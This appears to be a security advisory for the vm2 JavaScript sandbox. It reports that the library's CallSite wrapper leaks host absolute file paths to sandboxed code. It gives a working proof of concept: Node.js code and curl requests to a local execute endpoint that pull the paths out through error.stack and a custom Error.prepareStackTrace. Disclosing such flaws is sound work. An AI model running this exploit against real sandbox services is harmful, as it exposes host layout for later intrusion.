vm2 is Vulnerable to Host File Path Disclosure via Stack Trace Information Leak

Summary

vm2's CallSite wrapper class (intended as a safe wrapper for V8's native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server.

Details

In lib/setup-sandbox.js:436-466, the CallSite class overrides getThis() and getFunction() with undefined to prevent host object references from leaking into the sandbox. However, the following methods pass through unsanitized values from the original V8 CallSite object:

• getFileName() — returns host absolute paths like /app/node_modules/vm2/lib/vm.js
• getLineNumber(), getColumnNumber() — exact source locations
• getFunctionName(), getMethodName(), getTypeName() — internal function names

Two exploitation paths exist:

1. Default error.stack: new Error().stack includes host frame paths in the formatted string
2. Custom prepareStackTrace: Attacker can set Error.prepareStackTrace to directly call getFileName() on each CallSite, extracting a clean list of all host paths

PoC

Library-level PoC (Node.js script — primary):

const { VM } = require("vm2");
const vm = new VM();

// Path A — Default error.stack
const result1 = vm.run(`try { null.x; } catch(e) { e.stack }`);
console.log(result1);
// Output includes: /app/node_modules/vm2/lib/vm.js:289:18
//                   /app/src/server.js:49:20

// Path B — prepareStackTrace extraction
const result2 = vm.run(`
  Error.prepareStackTrace = function(e, sst) {
    return sst.map(function(s) { return s.getFileName(); }).join(", ");
  };
  new Error().stack
`);
console.log(result2);
// Output: vm.js, node:vm, /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, ...

HTTP demonstration:

# Default error.stack
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"try { null.x; } catch(e) { e.stack }"}'
# Result includes host paths: /app/src/server.js, /app/node_modules/express/...

# prepareStackTrace extraction
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"Error.prepareStackTrace = function(e, sst) { return sst.map(function(s) { return s.getFileName(); }).join(\", \"); }; new Error().stack"}'
# Result: /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, /app/src/server.js, ...